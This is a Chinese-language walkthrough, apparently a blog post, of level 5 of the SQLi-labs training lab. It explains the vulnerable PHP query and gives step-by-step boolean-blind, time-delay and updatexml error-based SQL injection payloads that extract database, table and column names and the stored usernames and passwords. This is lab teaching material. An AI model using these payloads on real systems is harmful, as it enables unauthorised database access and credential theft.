第五关-Less-5:
GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
我们还是先来判断注入点:
我们输入一个正常?id=1来查看一下回显:
这里我们看到它的页面是不回显的
我们再输入?id=1' 来查看一下:
发现还是存在语法错误,从报错信息这里我们看到是单引号闭合
我们正常闭合看一下:
显示正常还是不回显
我们来查看一下它的网页源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //单引号闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........'; //闭合正确都是回显这个
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error()); //这里存在报错信息
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,联合查询注入在这里就用不了了,因为联合注入需要页面有回显,这里页面没有回显只有报错信息
方法一:
这里我们可以使用布尔型注入,我们用布尔盲注,布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么,布尔盲注向对于联合注入来说需要花费大量时间
下面是布尔盲注的手工版:
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
方法二:
我们还可以用时间延迟注入,时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
我们构造以下payload:
爆数据库的长度:
?id=1' and if(length(database())=8,sleep(5),1)--+
这里我们发现它的延迟明显,说明数据库的长度为8
如果匹配错误,当我们匹配数据库长度为7时,就不会有明显的延迟:
爆库名:
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
这里的s就是我们要进行匹配的字符,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
爆表名:
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
爆列名:
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆破值:
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
方法三:
因为这里并不是完全没有回显,所以我们尝试使用updatexml报错注入
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
爆数据库名:
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆数据库里的表名:
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
爆表里的字段名:
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
爆对应的username和password的值:
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
注入成功!
标签:Less,第五,concat,--+,table,id,select,schema From: https://www.cnblogs.com/xyweiwen/p/18004143